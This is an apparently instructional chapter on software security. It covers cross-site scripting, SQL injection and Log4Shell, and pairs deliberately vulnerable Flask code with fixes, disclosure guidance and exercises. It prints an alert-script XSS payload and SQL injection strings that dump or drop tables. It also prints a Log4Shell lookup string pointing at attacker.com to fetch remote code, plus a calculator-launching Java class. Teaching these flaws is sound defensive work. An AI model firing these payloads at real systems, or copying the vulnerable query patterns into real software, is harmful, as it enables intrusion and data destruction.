Deadly Sins of Software Security
Software security is not just about preventing attackers from breaking into systems; it is about avoiding design and implementation choices that inadvertently invite them in. In this chapter, we explore three of the most notorious “deadly sins” of software security: Cross-Site Scripting (XSS), SQL Injection, and the infamous Log4Shell (Log4J) vulnerability.
Along the way, we will see how these vulnerabilities arise, why they are dangerous, and how to prevent them. We will also discuss responsible disclosure practices and lessons for building secure software in the age of AI-assisted development.
1. Cross-Site Scripting (XSS) — CWE-79
What is XSS?
Cross-Site Scripting (XSS) occurs when an application takes untrusted input and renders it back into a web page without validation or sanitization. This allows an attacker to inject malicious JavaScript code that executes in the victim’s browser.
- Reflected XSS: The malicious payload is part of the request (e.g., query string) and reflected immediately in the response. Exploitation often requires social engineering (e.g., sending the victim a crafted link).
- Stored XSS: The malicious payload is stored (e.g., in a database, as a blog comment). Anyone viewing the page later becomes a victim. This is typically more dangerous.
Demonstration: Vulnerable Flask App
# app.py
from flask import Flask, request, render_template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get("name", "World")
return render_template("hello.html", name=name)
# hello.html
<h1>Hello </h1>
If the attacker visits:
http://localhost:5000/?name=<script>alert('Hacked!')</script>
…the browser executes the injected script.
Mitigation
-
Escape special characters: Convert
<to<,>to>, etc. so that browsers treat input as plain text.import html safe_name = html.escape(name) return render_template("hello.html", name=safe_name) - Use template engines correctly: Many frameworks (e.g., Jinja2 in Flask) automatically escape variables if the template extension is
.html. If developers bypass or disable escaping, they reintroduce risk. - Validate inputs: Ensure that input conforms to expected formats (e.g., usernames, emails).
2. SQL Injection (SQLi) — CWE-89
What is SQL Injection?
SQL Injection occurs when applications build database queries using string concatenation with untrusted input. This lets attackers alter the intended query structure and execute arbitrary SQL commands.
Example: Vulnerable Flask App
@app.route("/search")
def search():
username = request.args.get("username")
conn = sqlite3.connect("users.db")
cursor = conn.cursor()
query = f"SELECT * FROM users WHERE username = '{username}'"
cursor.execute(query)
results = cursor.fetchall()
conn.close()
return render_template("search.html", results=results)
If the user enters:
admin' OR '1'='1
…the resulting query is:
SELECT * FROM users WHERE username = 'admin' OR '1'='1'
which returns all rows in the users table.
Consequences
- Information leakage: Dumping entire tables of sensitive data.
- Denial of Service (DoS): Queries like
TRUNCATE TABLEor large result sets. - Data destruction: Dropping tables or deleting rows.
Exploits from Class Activity
'; DROP TABLE users; --'; TRUNCATE TABLE users; --
This is the basis of the classic XKCD “Little Bobby Tables” comic, where a parent names their child:
Robert'); DROP TABLE Students;--
teaching developers the hard way to sanitize inputs.
Mitigation
-
Use Prepared Statements (Parameterized Queries):
query = "SELECT * FROM users WHERE username = ?" cursor.execute(query, (username,))Here, the database treats
usernamestrictly as a string — not executable SQL. - Avoid string concatenation in queries.
- Least privilege: Ensure application accounts have minimal DB privileges.
- Input validation: Restrict allowed characters when appropriate.
3. Log4Shell (Log4J Vulnerability)
What is Log4Shell?
In late 2021, the world learned of CVE-2021-44228, dubbed Log4Shell. This vulnerability in Apache Log4J, a popular Java logging framework, allowed attackers to achieve remote code execution (RCE) with a single crafted input string.
Case Study: Minecraft Servers
Minecraft servers running Log4J were vulnerable because chat messages were logged without sanitization.
Exploit string:
${jndi:ldap://attacker.com:1389/Exploit}
When logged, Log4J interpreted this as a lookup, fetched a malicious class over LDAP, and executed its static initializer block. For demo purposes, that block opened the Calculator app:
public class MinecraftLog4J {
static {
try {
String os = System.getProperty("os.name").toLowerCase();
if (os.contains("win")) {
Runtime.getRuntime().exec("calc").waitFor();
} else if (os.contains("mac")) {
Runtime.getRuntime().exec("open -a Calculator").waitFor();
}
} catch(Exception ex){
ex.printStackTrace();
}
}
}
Behind the Scenes
- User sends a crafted chat message.
- Server logs it using Log4J.
- Log4J resolves
${jndi:...}using the Java Naming and Directory Interface (JNDI). - JNDI fetches the class over LDAP from the attacker-controlled server.
- The class loads, executing its static block — the attacker’s code.
Impact
- Affected millions of applications (not just Minecraft).
- Simple to exploit, severe consequences (full RCE).
- Prompted global emergency patching campaigns.
Mitigation
- Upgrade Log4J (patched versions disable lookups by default).
- Disable JNDI lookups where possible.
- Filter logs: Do not log untrusted input directly.
4. Responsible Disclosure
Discovering a vulnerability comes with ethical responsibilities:
- Contact vendors first: Give maintainers a chance to fix the issue before public disclosure.
- Window of disclosure: Typically 45–90 days grace period before publishing details.
- Publish after fixes are available: Transparency helps users patch, but avoid “zero-day” chaos.
- Register a CVE: Ensures vulnerability tracking and awareness.
5. Summary
- Cross-Site Scripting (CWE-79): Avoid echoing untrusted input; always escape output.
- SQL Injection (CWE-89): Never concatenate queries; always use parameterized statements.
- Log4Shell: A stark reminder that even logging libraries can expose severe RCE risks.
- Responsible Disclosure: Security is a community effort requiring communication and coordination.
The overarching lesson: never trust unvalidated input — whether it’s HTML, SQL, or log messages.
6. Exercises
-
XSS Practice:
- Modify a simple Flask app so that
nameis echoed unsafely. - Craft a payload that triggers an alert.
- Fix the app using
html.escape().
- Modify a simple Flask app so that
-
SQL Injection Activity:
-
Given the vulnerable query:
SELECT * FROM users WHERE username = '{username}'- Craft an input that dumps all rows.
- Craft an input that drops the table.
-
Mitigate using parameterized queries.
-
-
Log4Shell Simulation:
- Research how
${jndi:ldap://...}works in Log4J. - Explain in your own words why logging user input is dangerous.
- Identify other places in your own projects where “innocent” features could execute untrusted input.
- Research how